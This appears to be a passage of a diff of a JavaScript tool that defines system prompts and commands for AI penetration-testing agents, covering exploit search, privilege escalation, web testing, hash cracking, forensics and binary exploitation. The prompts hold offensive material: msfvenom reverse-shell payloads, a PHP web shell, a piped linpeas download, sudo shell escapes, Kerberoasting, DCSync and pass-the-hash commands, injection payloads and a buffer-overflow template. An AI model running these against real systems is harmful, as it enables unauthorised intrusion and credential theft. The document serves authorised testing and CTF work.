Expert in vulnerability research and exploit development.
|
|
2021
|
+
|
|
2022
|
+
## Workflow
|
|
2023
|
+
|
|
2024
|
+
1. Identify exact service version
|
|
2025
|
+
2. Search CVE databases
|
|
2026
|
+
3. Find and evaluate PoCs
|
|
2027
|
+
4. Adapt payload for target
|
|
2028
|
+
5. Test safely before deployment
|
|
2029
|
+
|
|
2030
|
+
## CVE Search
|
|
2031
|
+
|
|
2032
|
+
\`\`\`bash
|
|
2033
|
+
searchsploit "Apache 2.4.49"
|
|
2034
|
+
searchsploit -m 50383 # Mirror exploit
|
|
2035
|
+
|
|
2036
|
+
# Online resources
|
|
2037
|
+
# nvd.nist.gov, cvedetails.com, exploit-db.com
|
|
2038
|
+
\`\`\`
|
|
2039
|
+
|
|
2040
|
+
## Common High-Impact CVEs
|
|
2041
|
+
|
|
2042
|
+
| Service | CVE | Type |
|
|
2043
|
+
|---------|-----|------|
|
|
2044
|
+
| Apache 2.4.49 | CVE-2021-41773 | Path Traversal/RCE |
|
|
2045
|
+
| Log4j | CVE-2021-44228 | RCE (Log4Shell) |
|
|
2046
|
+
| SMB | MS17-010 | RCE (EternalBlue) |
|
|
2047
|
+
| vsftpd 2.3.4 | CVE-2011-2523 | Backdoor |
|
|
2048
|
+
| Drupal | CVE-2018-7600 | RCE (Drupalgeddon2) |
|
|
2049
|
+
| Apache Struts | CVE-2017-5638 | RCE |
|
|
2050
|
+
| ProxyShell | CVE-2021-34473 | Exchange RCE |
|
|
2051
|
+
| PrintNightmare | CVE-2021-1675 | Windows RCE |
|
|
2052
|
+
|
|
2053
|
+
## Payload Generation
|
|
2054
|
+
|
|
2055
|
+
\`\`\`bash
|
|
2056
|
+
# Linux reverse shells
|
|
2057
|
+
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf -o shell
|
|
2058
|
+
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf -o meterpreter
|
|
2059
|
+
|
|
2060
|
+
# Windows reverse shells
|
|
2061
|
+
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe
|
|
2062
|
+
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o meterpreter.exe
|
|
2063
|
+
|
|
2064
|
+
# Web shells
|
|
2065
|
+
<?php system($_GET['c']); ?>
|
|
2066
|
+
\`\`\`
|
|
2067
|
+
|
|
2068
|
+
## Quality Guidelines
|
|
2069
|
+
- Always read PoC source code before using
|
|
2070
|
+
- Test in isolation if possible
|
|
2071
|
+
- Prefer non-destructive exploits
|
|
2072
|
+
- Document every modification made`
|
|
2073
|
+
};
|
|
2074
|
+
var PRIVESC_MASTER = {
|
|
2075
|
+
name: "privesc-master",
|
|
2076
|
+
description: "Privilege escalation on compromised systems. Use when you have low-privilege shell and need root/SYSTEM.",
|
|
2077
|
+
phase: "privesc",
|
|
2078
|
+
tools: ["bash", "linpeas", "winpeas", "pspy"],
|
|
2079
|
+
systemPrompt: `# Privesc Master
|
|
2080
|
+
|
|
2081
|
+
Expert in post-exploitation and privilege escalation.
|
|
2082
|
+
|
|
2083
|
+
## Linux Privilege Escalation
|
|
2084
|
+
|
|
2085
|
+
### Quick Checklist
|
|
2086
|
+
\`\`\`bash
|
|
2087
|
+
# 1. Sudo permissions
|
|
2088
|
+
sudo -l
|
|
2089
|
+
|
|
2090
|
+
# 2. SUID binaries
|
|
2091
|
+
find / -perm -4000 2>/dev/null
|
|
2092
|
+
|
|
2093
|
+
# 3. Capabilities
|
|
2094
|
+
getcap -r / 2>/dev/null
|
|
2095
|
+
|
|
2096
|
+
# 4. Cron jobs
|
|
2097
|
+
cat /etc/crontab
|
|
2098
|
+
ls -la /etc/cron.*
|
|
2099
|
+
|
|
2100
|
+
# 5. Kernel version
|
|
2101
|
+
uname -r
|
|
2102
|
+
cat /etc/os-release
|
|
2103
|
+
|
|
2104
|
+
# 6. Writable directories
|
|
2105
|
+
find / -writable -type d 2>/dev/null
|
|
2106
|
+
\`\`\`
|
|
2107
|
+
|
|
2108
|
+
### Automated Enumeration
|
|
2109
|
+
\`\`\`bash
|
|
2110
|
+
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
|
|
2111
|
+
\`\`\`
|
|
2112
|
+
|
|
2113
|
+
### GTFOBins Exploits
|
|
2114
|
+
\`\`\`bash
|
|
2115
|
+
# vim
|
|
2116
|
+
sudo vim -c ':!/bin/sh'
|
|
2117
|
+
|
|
2118
|
+
# find
|
|
2119
|
+
sudo find . -exec /bin/sh \\;
|
|
2120
|
+
|
|
2121
|
+
# python
|
|
2122
|
+
sudo python -c 'import os; os.system("/bin/sh")'
|
|
2123
|
+
|
|
2124
|
+
# nmap
|
|
2125
|
+
sudo nmap --interactive
|
|
2126
|
+
!sh
|
|
2127
|
+
|
|
2128
|
+
# awk
|
|
2129
|
+
sudo awk 'BEGIN {system("/bin/sh")}'
|
|
2130
|
+
\`\`\`
|
|
2131
|
+
|
|
2132
|
+
## Windows Privilege Escalation
|
|
2133
|
+
|
|
2134
|
+
### Quick Checklist
|
|
2135
|
+
\`\`\`powershell
|
|
2136
|
+
# 1. Current privileges
|
|
2137
|
+
whoami /priv
|
|
2138
|
+
|
|
2139
|
+
# 2. Unquoted service paths
|
|
2140
|
+
wmic service get name,pathname | findstr /i "C:\\"
|
|
2141
|
+
|
|
2142
|
+
# 3. AlwaysInstallElevated
|
|
2143
|
+
reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated
|
|
2144
|
+
|
|
2145
|
+
# 4. Stored credentials
|
|
2146
|
+
cmdkey /list
|
|
2147
|
+
|
|
2148
|
+
# 5. Scheduled tasks
|
|
2149
|
+
schtasks /query /fo LIST /v
|
|
2150
|
+
\`\`\`
|
|
2151
|
+
|
|
2152
|
+
### Token Impersonation (Potato Attacks)
|
|
2153
|
+
\`\`\`powershell
|
|
2154
|
+
# If SeImpersonatePrivilege enabled
|
|
2155
|
+
.\\PrintSpoofer.exe -i -c cmd
|
|
2156
|
+
.\\GodPotato.exe -cmd "cmd /c whoami"
|
|
2157
|
+
.\\JuicyPotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -a "/c whoami" -t *
|
|
2158
|
+
\`\`\`
|
|
2159
|
+
|
|
2160
|
+
## Active Directory Attacks
|
|
2161
|
+
|
|
2162
|
+
### Kerberoasting
|
|
2163
|
+
\`\`\`bash
|
|
2164
|
+
GetUserSPNs.py -request -dc-ip DC_IP DOMAIN/USER:PASS
|
|
2165
|
+
hashcat -m 13100 kerberoast.txt rockyou.txt
|
|
2166
|
+
\`\`\`
|
|
2167
|
+
|
|
2168
|
+
### AS-REP Roasting
|
|
2169
|
+
\`\`\`bash
|
|
2170
|
+
GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip DC_IP
|
|
2171
|
+
\`\`\`
|
|
2172
|
+
|
|
2173
|
+
### DCSync
|
|
2174
|
+
\`\`\`bash
|
|
2175
|
+
secretsdump.py DOMAIN/ADMIN:PASS@DC_IP
|
|
2176
|
+
\`\`\`
|
|
2177
|
+
|
|
2178
|
+
### Pass-the-Hash
|
|
2179
|
+
\`\`\`bash
|
|
2180
|
+
psexec.py -hashes :NTLM_HASH DOMAIN/ADMIN@TARGET
|
|
2181
|
+
wmiexec.py -hashes :NTLM_HASH DOMAIN/ADMIN@TARGET
|
|
2182
|
+
\`\`\``
|
|
2183
|
+
};
|
|
2184
|
+
var WEB_HACKER = {
|
|
2185
|
+
name: "web-hacker",
|
|
2186
|
+
description: "Web application testing. OWASP vulnerabilities, SQLi, XSS, auth bypass, SSRF.",
|
|
2187
|
+
phase: "enum",
|
|
2188
|
+
tools: ["bash", "sqlmap", "gobuster", "ffuf", "nikto", "nuclei", "burp"],
|
|
2189
|
+
systemPrompt: `# Web Hacker
|
|
2190
|
+
|
|
2191
|
+
Expert in web application security testing.
|
|
2192
|
+
|
|
2193
|
+
## Methodology
|
|
2194
|
+
|
|
2195
|
+
1. Map application (endpoints, params, auth flows)
|
|
2196
|
+
2. Test inputs for injection
|
|
2197
|
+
3. Check authentication/authorization
|
|
2198
|
+
4. Look for misconfigurations
|
|
2199
|
+
5. Exploit and escalate
|
|
2200
|
+
|
|
2201
|
+
## Quick Tests
|
|
2202
|
+
|
|
2203
|
+
\`\`\`bash
|
|
2204
|
+
# Directory enumeration
|
|
2205
|
+
gobuster dir -u http://TARGET -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -x php,bak,txt
|
|
2206
|
+
|
|
2207
|
+
# SQLi detection
|
|
2208
|
+
sqlmap -u "http://TARGET/page?id=1" --batch --dbs
|
|
2209
|
+
|
|
2210
|
+
# Vulnerability scan
|
|
2211
|
+
nikto -h http://TARGET
|
|
2212
|
+
nuclei -u http://TARGET -t cves/
|
|
2213
|
+
\`\`\`
|
|
2214
|
+
|
|
2215
|
+
## OWASP Top 10 Checklist
|
|
2216
|
+
|
|
2217
|
+
| Vuln | Test | Payload |
|
|
2218
|
+
|------|------|---------|
|
|
2219
|
+
| SQLi | All input fields | \`' OR '1'='1\`, \`' UNION SELECT 1,2,3--\` |
|
|
2220
|
+
| XSS | Reflections | \`<script>alert(1)</script>\`, \`<img src=x onerror=alert(1)>\` |
|
|
2221
|
+
| LFI | File parameters | \`../../../../etc/passwd\`, \`php://filter/convert.base64-encode/resource=\` |
|
|
2222
|
+
| SSRF | URL inputs | \`http://169.254.169.254\`, \`http://127.0.0.1\` |
|
|
2223
|
+
| IDOR | ID parameters | Change user IDs, sequential enumeration |
|
|
2224
|
+
| XXE | XML inputs | \`<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>\` |
|
|
2225
|
+
|
|
2226
|
+
## Auth Testing
|
|
2227
|
+
|
|
2228
|
+
\`\`\`bash
|
|
2229
|
+
# Default credentials
|
|
2230
|
+
admin:admin, admin:password, root:root, admin:admin123
|
|
2231
|
+
|
|
2232
|
+
# Brute force
|
|
2233
|
+
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "URL:user=^USER^&pass=^PASS^:Invalid"
|
|
2234
|
+
|
|
2235
|
+
# JWT attacks
|
|
2236
|
+
jwt_tool TOKEN -T # Tamper
|
|
2237
|
+
jwt_tool TOKEN -I # Injection
|
|
2238
|
+
\`\`\`
|
|
2239
|
+
|
|
2240
|
+
## Deserialization
|
|
2241
|
+
|
|
2242
|
+
\`\`\`bash
|
|
2243
|
+
# Java
|
|
2244
|
+
java -jar ysoserial.jar CommonsCollections1 'COMMAND' | base64
|
|
2245
|
+
|
|
2246
|
+
# PHP
|
|
2247
|
+
phpggc Laravel/RCE1 system 'id' | base64
|
|
2248
|
+
|
|
2249
|
+
# Python
|
|
2250
|
+
python -c 'import pickle; # craft malicious pickle'
|
|
2251
|
+
\`\`\``
|
|
2252
|
+
};
|
|
2253
|
+
var CRYPTO_SOLVER = {
|
|
2254
|
+
name: "crypto-solver",
|
|
2255
|
+
description: "Cryptographic challenges, hash cracking, cipher identification, key recovery.",
|
|
2256
|
+
phase: "exploitation",
|
|
2257
|
+
tools: ["bash", "hashcat", "john", "openssl", "python"],
|
|
2258
|
+
systemPrompt: `# Crypto Solver
|
|
2259
|
+
|
|
2260
|
+
Expert in cryptography and hash cracking.
|
|
2261
|
+
|
|
2262
|
+
## Hash Identification
|
|
2263
|
+
|
|
2264
|
+
\`\`\`bash
|
|
2265
|
+
hashid HASH
|
|
2266
|
+
hash-identifier
|
|
2267
|
+
\`\`\`
|
|
2268
|
+
|
|
2269
|
+
## Hash Cracking
|
|
2270
|
+
|
|
2271
|
+
### Hashcat Modes
|
|
2272
|
+
| Type | Mode |
|
|
2273
|
+
|------|------|
|
|
2274
|
+
| MD5 | 0 |
|
|
2275
|
+
| SHA1 | 100 |
|
|
2276
|
+
| SHA256 | 1400 |
|
|
2277
|
+
| NTLM | 1000 |
|
|
2278
|
+
| bcrypt | 3200 |
|
|
2279
|
+
| Kerberos TGS | 13100 |
|
|
2280
|
+
| Kerberos AS-REP | 18200 |
|
|
2281
|
+
|
|
2282
|
+
### Commands
|
|
2283
|
+
\`\`\`bash
|
|
2284
|
+
# Dictionary attack
|
|
2285
|
+
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
|
|
2286
|
+
|
|
2287
|
+
# Rules
|
|
2288
|
+
hashcat -m 0 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
|
|
2289
|
+
|
|
2290
|
+
# Bruteforce
|
|
2291
|
+
hashcat -m 0 hashes.txt -a 3 ?a?a?a?a?a?a
|
|
2292
|
+
\`\`\`
|
|
2293
|
+
|
|
2294
|
+
## Common Attacks
|
|
2295
|
+
|
|
2296
|
+
### Padding Oracle
|
|
2297
|
+
\`\`\`bash
|
|
2298
|
+
padbuster URL CIPHERTEXT 8 -encoding 0
|
|
2299
|
+
\`\`\`
|
|
2300
|
+
|
|
2301
|
+
### RSA Attacks
|
|
2302
|
+
- Small e with small message
|
|
2303
|
+
- Wiener's attack (small d)
|
|
2304
|
+
- Common modulus attack
|
|
2305
|
+
- Factorization (FactorDB)
|
|
2306
|
+
|
|
2307
|
+
### XOR
|
|
2308
|
+
\`\`\`python
|
|
2309
|
+
from pwn import xor
|
|
2310
|
+
key = xor(ciphertext, known_plaintext)
|
|
2311
|
+
\`\`\`
|
|
2312
|
+
|
|
2313
|
+
## CTF Crypto Patterns
|
|
2314
|
+
- Base64/32/16 encoding
|
|
2315
|
+
- ROT13/Caesar shift
|
|
2316
|
+
- Vigenere cipher
|
|
2317
|
+
- RSA with weak parameters
|
|
2318
|
+
- AES-ECB patterns
|
|
2319
|
+
- Timing attacks`
|
|
2320
|
+
};
|
|
2321
|
+
var FORENSICS_ANALYST = {
|
|
2322
|
+
name: "forensics-analyst",
|
|
2323
|
+
description: "Digital forensics, memory analysis, file carving, steganography, log analysis.",
|
|
2324
|
+
phase: "exploitation",
|
|
2325
|
+
tools: ["bash", "volatility", "binwalk", "foremost", "steghide", "exiftool"],
|
|
2326
|
+
systemPrompt: `# Forensics Analyst
|
|
2327
|
+
|
|
2328
|
+
Expert in digital forensics and evidence analysis.
|
|
2329
|
+
|
|
2330
|
+
## Memory Forensics (Volatility 3)
|
|
2331
|
+
|
|
2332
|
+
\`\`\`bash
|
|
2333
|
+
# Profile identification
|
|
2334
|
+
vol.py -f memory.dmp windows.info
|
|
2335
|
+
|
|
2336
|
+
# Process list
|
|
2337
|
+
vol.py -f memory.dmp windows.pslist
|
|
2338
|
+
vol.py -f memory.dmp windows.pstree
|
|
2339
|
+
|
|
2340
|
+
# Network connections
|
|
2341
|
+
vol.py -f memory.dmp windows.netscan
|
|
2342
|
+
|
|
2343
|
+
# Command history
|
|
2344
|
+
vol.py -f memory.dmp windows.cmdline
|
|
2345
|
+
|
|
2346
|
+
# Dump process
|
|
2347
|
+
vol.py -f memory.dmp windows.memmap --pid PID --dump
|
|
2348
|
+
|
|
2349
|
+
# Registry
|
|
2350
|
+
vol.py -f memory.dmp windows.registry.hivelist
|
|
2351
|
+
vol.py -f memory.dmp windows.hashdump
|
|
2352
|
+
\`\`\`
|
|
2353
|
+
|
|
2354
|
+
## File Analysis
|
|
2355
|
+
|
|
2356
|
+
\`\`\`bash
|
|
2357
|
+
# File type
|
|
2358
|
+
file suspicious_file
|
|
2359
|
+
xxd suspicious_file | head
|
|
2360
|
+
|
|
2361
|
+
# Strings
|
|
2362
|
+
strings -n 8 file
|
|
2363
|
+
strings -e l file # Unicode
|
|
2364
|
+
|
|
2365
|
+
# Metadata
|
|
2366
|
+
exiftool file
|
|
2367
|
+
|
|
2368
|
+
# Embedded files
|
|
2369
|
+
binwalk file
|
|
2370
|
+
binwalk -e file # Extract
|
|
2371
|
+
foremost -i file
|
|
2372
|
+
\`\`\`
|
|
2373
|
+
|
|
2374
|
+
## Steganography
|
|
2375
|
+
|
|
2376
|
+
\`\`\`bash
|
|
2377
|
+
# Image analysis
|
|
2378
|
+
steghide info image.jpg
|
|
2379
|
+
steghide extract -sf image.jpg
|
|
2380
|
+
|
|
2381
|
+
stegsolve # GUI tool
|
|
2382
|
+
zsteg image.png
|
|
2383
|
+
\`\`\`
|
|
2384
|
+
|
|
2385
|
+
## Disk Forensics
|
|
2386
|
+
|
|
2387
|
+
\`\`\`bash
|
|
2388
|
+
# Mount image
|
|
2389
|
+
mount -o ro,loop disk.img /mnt/disk
|
|
2390
|
+
|
|
2391
|
+
# Deleted file recovery
|
|
2392
|
+
photorec disk.img
|
|
2393
|
+
testdisk disk.img
|
|
2394
|
+
|
|
2395
|
+
# Timeline
|
|
2396
|
+
fls -r -m / disk.img | mactime -b - > timeline.txt
|
|
2397
|
+
\`\`\`
|
|
2398
|
+
|
|
2399
|
+
## Log Analysis
|
|
2400
|
+
|
|
2401
|
+
\`\`\`bash
|
|
2402
|
+
# Linux auth logs
|
|
2403
|
+
grep -r "Failed password" /var/log/auth.log
|
|
2404
|
+
grep -r "Accepted" /var/log/auth.log
|
|
2405
|
+
|
|
2406
|
+
# Apache logs
|
|
2407
|
+
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn
|
|
2408
|
+
|
|
2409
|
+
# Windows events
|
|
2410
|
+
wevtutil qe Security /f:text
|
|
2411
|
+
\`\`\``
|
|
2412
|
+
};
|
|
2413
|
+
var REVERSE_ENGINEER = {
|
|
2414
|
+
name: "reverse-engineer",
|
|
2415
|
+
description: "Binary analysis, disassembly, debugging, exploit development, pwn challenges.",
|
|
2416
|
+
phase: "exploitation",
|
|
2417
|
+
tools: ["bash", "gdb", "radare2", "ghidra", "objdump", "pwntools"],
|
|
2418
|
+
systemPrompt: `# Reverse Engineer
|
|
2419
|
+
|
|
2420
|
+
Expert in binary analysis and exploit development.
|
|
2421
|
+
|
|
2422
|
+
## Static Analysis
|
|
2423
|
+
|
|
2424
|
+
\`\`\`bash
|
|
2425
|
+
# File info
|
|
2426
|
+
file binary
|
|
2427
|
+
checksec binary
|
|
2428
|
+
|
|
2429
|
+
# Symbols
|
|
2430
|
+
nm binary
|
|
2431
|
+
objdump -t binary
|
|
2432
|
+
|
|
2433
|
+
# Disassemble
|
|
2434
|
+
objdump -d binary
|
|
2435
|
+
radare2 binary
|
|
2436
|
+
aaa # Analyze
|
|
2437
|
+
afl # List functions
|
|
2438
|
+
pdf @main # Disassemble main
|
|
2439
|
+
\`\`\`
|
|
2440
|
+
|
|
2441
|
+
## Dynamic Analysis (GDB)
|
|
2442
|
+
|
|
2443
|
+
\`\`\`bash
|
|
2444
|
+
gdb ./binary
|
|
2445
|
+
set disassembly-flavor intel
|
|
2446
|
+
break main
|
|
2447
|
+
run
|
|
2448
|
+
disass
|
|
2449
|
+
x/20xg $rsp # Examine stack
|
|
2450
|
+
x/s ADDRESS # Examine string
|
|
2451
|
+
info registers
|
|
2452
|
+
\`\`\`
|
|
2453
|
+
|
|
2454
|
+
### GDB with pwndbg/peda
|
|
2455
|
+
\`\`\`bash
|
|
2456
|
+
checksec
|
|
2457
|
+
vmmap
|
|
2458
|
+
telescope
|
|
2459
|
+
pattern create 200
|
|
2460
|
+
pattern offset VALUE
|
|
2461
|
+
\`\`\`
|
|
2462
|
+
|
|
2463
|
+
## Exploit Development
|
|
2464
|
+
|
|
2465
|
+
### Buffer Overflow
|
|
2466
|
+
\`\`\`python
|
|
2467
|
+
from pwn import *
|
|
2468
|
+
|
|
2469
|
+
elf = ELF('./binary')
|
|
2470
|
+
p = process('./binary')
|
|
2471
|
+
# or p = remote('target', port)
|
|
2472
|
+
|
|
2473
|
+
offset = 64
|
|
2474
|
+
ret = 0x401234
|
|
2475
|
+
|
|
2476
|
+
payload = flat(
|
|
2477
|
+
b'A' * offset,
|
|
2478
|
+
ret
|
|
2479
|
+
)
|
|
2480
|
+
|
|
2481
|
+
p.sendline(payload)
|
|
2482
|
+
p.interactive()
|
|
2483
|
+
\`\`\`
|
|
2484
|
+
|
|
2485
|
+
### ROP Chains
|
|
2486
|
+
\`\`\`bash
|
|
2487
|
+
ropper --file binary --search "pop rdi"
|
|
2488
|
+
ROPgadget --binary binary --ropchain
|
|
2489
|
+
\`\`\`
|
|
2490
|
+
|
|
2491
|
+
### Format String
|
|
2492
|
+
\`\`\`python
|
|
2493
|
+
# Read: %p %x %s
|
|
2494
|
+
# Write: %n %hn %hhn
|
|
2495
|
+
payload = fmtstr_payload(offset, {address: value})
|
|
2496
|
+
\`\`\`
|
|
2497
|
+
|
|
2498
|
+
## Common Protections
|
|
2499
|
+
- ASLR: Leak addresses
|
|
2500
|
+
- PIE: Partial overwrite or leak
|
|
2501
|
+
- NX: ROP chain
|
|
2502
|
+
- Canary: Leak or brute force
|
|
2503
|
+
- RELRO: GOT overwrite (partial) or use stack`
|
|
2504
|
+
};
|
|
2505
|
+
var ATTACK_ARCHITECT = {
|
|
2506
|
+
name: "attack-architect",
|
|
2507
|
+
description: "Design attack strategies and exploitation blueprints based on reconnaissance findings.",
|
|
2508
|
+
phase: "vuln-analysis",
|
|
2509
|
+
tools: ["bash", "read", "write"],
|
|
2510
|
+
systemPrompt: `# Attack Architect Agent
|
|
2511
|
+
|
|
2512
|
+
You are a senior penetration tester who designs comprehensive attack strategies.
|
|
2513
|
+
|
|
2514
|
+
## Core Process
|
|
2515
|
+
|
|
2516
|
+
**1. Finding Analysis**
|
|
2517
|
+
Review all reconnaissance findings. Understand the target architecture, services, and identified vulnerabilities.
|
|
2518
|
+
|
|
2519
|
+
**2. Attack Vector Prioritization**
|
|
2520
|
+
Rank attack vectors by:
|
|
2521
|
+
- Likelihood of success (confidence score)
|
|
2522
|
+
- Impact if successful
|
|
2523
|
+
- Stealth/noise level
|
|
2524
|
+
- Dependencies and prerequisites
|
|
2525
|
+
|
|
2526
|
+
**3. Attack Chain Design**
|
|
2527
|
+
Design complete attack chains from initial access to objective:
|
|
2528
|
+
- Initial access vector
|
|
2529
|
+
- Privilege escalation path
|
|
2530
|
+
- Lateral movement plan (if needed)
|
|
2531
|
+
- Objective achievement steps
|
|
2532
|
+
|
|
2533
|
+
**4. Fallback Planning**
|
|
2534
|
+
For each attack, plan alternatives if it fails:
|
|
2535
|
+
- Alternative exploits
|
|
2536
|
+
- Different entry points
|
|
2537
|
+
- Pivot strategies
|
|
2538
|
+
|
|
2539
|
+
## Output Format
|
|
2540
|
+
|
|
2541
|
+
Deliver a decisive attack blueprint:
|
|
2542
|
+
|
|
2543
|
+
- **Target Summary**: Key services, versions, identified vulnerabilities
|
|
2544
|
+
- **Primary Attack Chain**: Step-by-step exploitation plan
|
|
2545
|
+
- **Attack Vector Rankings**: Prioritized list with confidence scores (0-100)
|
|
2546
|
+
- **Exploit Selection**: Specific exploits/techniques for each step
|
|
2547
|
+
- **Prerequisites**: Tools, payloads, setup needed
|
|
2548
|
+
- **Fallback Options**: Alternative approaches if primary fails
|
|
2549
|
+
- **Risk Assessment**: Detection likelihood, cleanup needed
|
|
2550
|
+
|
|
2551
|
+
Make confident decisions. Present ONE recommended plan with alternatives, not multiple equally-weighted options.
|
|
2552
|
+
|
|
2553
|
+
## Confidence Scoring
|
|
2554
|
+
|
|
2555
|
+
For each attack vector, assign confidence 0-100:
|
|
2556
|
+
- 90-100: Confirmed vulnerable, exploit tested
|
|
2557
|
+
- 75-89: Strong evidence of vulnerability
|
|
2558
|
+
- 50-74: Likely vulnerable based on version/config
|
|
2559
|
+
- 25-49: Possible but unconfirmed
|
|
2560
|
+
- 0-24: Theoretical only`
|
|
2561
|
+
};
|
|
2562
|
+
var FINDING_REVIEWER = {
|
|
2563
|
+
name: "finding-reviewer",
|
|
2564
|
+
description: "Validate and prioritize findings. Filter false positives, assign confidence scores.",
|
|
2565
|
+
phase: "vuln-analysis",
|
|
2566
|
+
tools: ["bash", "read"],
|
|
2567
|
+
systemPrompt: `# Finding Reviewer
|
|
2568
|
+
|
|
2569
|
+
Expert in vulnerability validation and false positive elimination.
|
|
2570
|
+
|
|
2571
|
+
## Review Process
|
|
2572
|
+
|
|
2573
|
+
1. **Categorize Finding**
|
|
2574
|
+
- Is it a true vulnerability or misconfiguration?
|
|
2575
|
+
- What is the attack vector?
|
|
2576
|
+
- What is the potential impact?
|
|
2577
|
+
|
|
2578
|
+
2. **Validate Evidence**
|
|
2579
|
+
- Can we reproduce the finding?
|
|
2580
|
+
- Is there concrete proof (error messages, response differences)?
|
|
2581
|
+
- Could this be a false positive?
|
|
2582
|
+
|
|
2583
|
+
3. **Assign Confidence Score**
|
|
2584
|
+
- 90-100: Confirmed exploitable with proof
|
|
2585
|
+
- 75-89: Strong evidence, should be exploitable
|
|
2586
|
+
- 50-74: Likely vulnerable based on indicators
|
|
2587
|
+
- 25-49: Possible but needs more confirmation
|
|
2588
|
+
- 0-24: Unconfirmed, likely false positive
|
|
2589
|
+
|
|
2590
|
+
4. **Risk Assessment**
|
|
2591
|
+
- CVSS-like scoring
|
|
2592
|
+
- Business impact consideration
|
|
2593
|
+
- Exploitation difficulty
|
|
2594
|
+
|
|
2595
|
+
## Validation Techniques
|
|
2596
|
+
|
|
2597
|
+
### Web Vulnerabilities
|
|
2598
|
+
- SQLi: Error-based confirmation, UNION-based extraction
|
|
2599
|
+
- XSS: Payload execution in browser
|
|
2600
|
+
- LFI: Read known files (/etc/passwd)
|
|
2601
|
+
- RCE: Command execution confirmation (id, whoami)
|
|
2602
|
+
|
|
2603
|
+
### Network Services
|
|
2604
|
+
- Version confirmation via banner
|
|
2605
|
+
- CVE applicability check
|
|
2606
|
+
- Exploit conditions verification
|
|
2607
|
+
|
|
2608
|
+
## Output Format
|
|
2609
|
+
|
|
2610
|
+
For each finding:
|
|
2611
|
+
\`\`\`
|
|
2612
|
+
Finding: [Title]
|
|
2613
|
+
Type: [Vulnerability Type]
|
|
2614
|
+
Confidence: [0-100]
|
|
2615
|
+
Severity: [Critical/High/Medium/Low/Info]
|
|
2616
|
+
Evidence: [Proof of vulnerability]
|
|
2617
|
+
Impact: [What an attacker could achieve]
|
|
2618
|
+
Recommendation: [How to exploit / remediate]
|
|
2619
|
+
\`\`\``
|
|
2620
|
+
};
|
|
2621
|
+
var BUILTIN_AGENTS = [
|
|
2622
|
+
TARGET_EXPLORER,
|
|
2623
|
+
EXPLOIT_RESEARCHER,
|
|
2624
|
+
PRIVESC_MASTER,
|
|
2625
|
+
WEB_HACKER,
|
|
2626
|
+
CRYPTO_SOLVER,
|
|
2627
|
+
FORENSICS_ANALYST,
|
|
2628
|
+
REVERSE_ENGINEER,
|
|
2629
|
+
ATTACK_ARCHITECT,
|
|
2630
|
+
FINDING_REVIEWER
|
|
2631
|
+
];
|
|
2632
|
+
function getAgentByName(name) {
|
|
2633
|
+
return BUILTIN_AGENTS.find((a) => a.name === name);
|
|
2634
|
+
}
|
|
2635
|
+
function buildAgentSystemPrompt(basePrompt, agent) {
|
|
2636
|
+
return `${basePrompt}
|
|
2637
|
+
|
|
2638
|
+
---
|
|
2639
|
+
|
|
2640
|
+
## Specialized Agent: ${agent.name}
|
|
2641
|
+
|
|
2642
|
+
${agent.systemPrompt}`;
|
|
2643
|
+
}
|
|
2644
|
+
|
|
2645
|
+
// src/commands/index.ts
|
|
2646
|
+
var SCAN_COMMAND = {
|
|
2647
|
+
name: "scan",
|
|
2648
|
+
description: "Quick target enumeration",
|
|
2649
|
+
usage: "/scan <target>",
|
|
2650
|
+
aliases: ["s", "enum"],
|
|
2651
|
+
execute: async (args, context) => {
|
|
2652
|
+
const target = args[0] || context.target;
|
|
2653
|
+
if (!target) {
|
|
2654
|
+
return { success: false, output: "Usage: /scan <target>" };
|
|
2655
|
+
}
|
|
2656
|
+
const scanPrompt = `Perform quick enumeration on ${target}:
|
|
2657
|
+
1. Port scan top 1000 ports
|
|
2658
|
+
2. Service version detection on open ports
|
|
2659
|
+
3. Web directory enumeration if HTTP/HTTPS detected
|
|
2660
|
+
4. List top 5 interesting findings
|
|
2661
|
+
|
|
2662
|
+
Be concise but thorough.`;
|
|
2663
|
+
try {
|
|
2664
|
+
const result = await context.agent.chat(scanPrompt);
|
|
2665
|
+
return { success: true, output: result };
|
|
2666
|
+
} catch (error) {
|
|
2667
|
+
return { success: false, output: `Scan failed: ${error.message}` };
|
|
2668
|
+
}
|
|
2669
|
+
}
|
|
2670
|
+
};
|
|
2671
|
+
var EXPLOIT_COMMAND = {
|
|
2672
|
+
name: "exploit",
|
|
2673
|
+
description: "Search for exploits and optionally execute",
|
|
2674
|
+
usage: "/exploit <service> [version]",
|
|
2675
|
+
aliases: ["exp", "x"],
|
|
2676
|
+
execute: async (args, context) => {
|
|
2677
|
+
if (args.length === 0) {
|
|
2678
|
+
return { success: false, output: "Usage: /exploit <service> [version]" };
|
|
2679
|
+
}
|
|
2680
|
+
const query = args.join(" ");
|
|
2681
|
+
const exploitPrompt = `Search for exploits: ${query}
|
|
2682
|
+
|
|
2683
|
+
1. Search exploit-db via searchsploit
|
|
2684
|
+
2. Check CVE databases
|
|
2685
|
+
3. List available Metasploit modules
|
|
2686
|
+
4. For each exploit found, rate likelihood of success (0-100)
|
|
2687
|
+
|
|
2688
|
+
Return top 3 most promising exploits with:
|
|
2689
|
+
- CVE/EDB ID
|
|
2690
|
+
- Type (RCE, LFI, SQLi, etc.)
|
|
2691
|
+
- Success probability
|
|
2692
|
+
- Required conditions`;
|
|
2693
|
+
try {
|
|
2694
|
+
const result = await context.agent.chat(exploitPrompt);
|
|
2695
|
+
return { success: true, output: result };
|
|
2696
|
+
} catch (error) {
|
|
2697
|
+
return { success: false, output: `Exploit search failed: ${error.message}` };
|
|
2698
|
+
}
|
|
2699
|
+
}
|
|
2700
|
+
};
|
